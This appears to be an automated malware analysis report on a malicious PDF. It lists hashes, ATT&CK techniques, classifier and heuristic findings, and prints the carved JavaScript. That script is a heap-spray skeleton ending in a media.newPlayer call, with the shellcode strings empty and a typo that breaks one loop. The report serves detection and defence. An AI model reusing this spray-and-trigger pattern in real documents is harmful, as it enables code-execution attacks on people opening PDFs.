Malicious PDF — malware analysis report

Static analysis result for SHA-256 3941c615991f59fe…

MALICIOUS

PDF

854 B First seen: 2026-05-10
MD5: 119736f1048486bc686c439ec3867d4c SHA-1: cbceddd4e0c7af39fdc4c0d98847055a78e86300 SHA-256: 3941c615991f59fe5281a204b57477484e6b2935015c833b4fe5f54f903b4da2
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains obfuscated JavaScript that utilizes the unescape function repeatedly to construct a large string, indicative of a heap spray attempt. This technique is commonly used to prepare memory for shellcode execution. The ML classifier strongly flags this PDF as malicious, supporting the exploit cluster findings.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var Wo = unescape("");
var yR = unescape("");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 352 bytes
SHA-256: 3355a9b640f870b72f98f9941729a36649adb34645c61981b5bd50660a8a9496
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Wo = unescape("");
var yR = unescape("");

fpr(i=0;i<123456;){
 yR+=yR;
 i++;
}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo;
	i++;
}

util.printd("", new Date());
util.printd("", new Date());
try {var ob = this.media;
ob["new"+"Pl"+"ayer"](null);} 
catch(e) {}
util.printd("", new Date());

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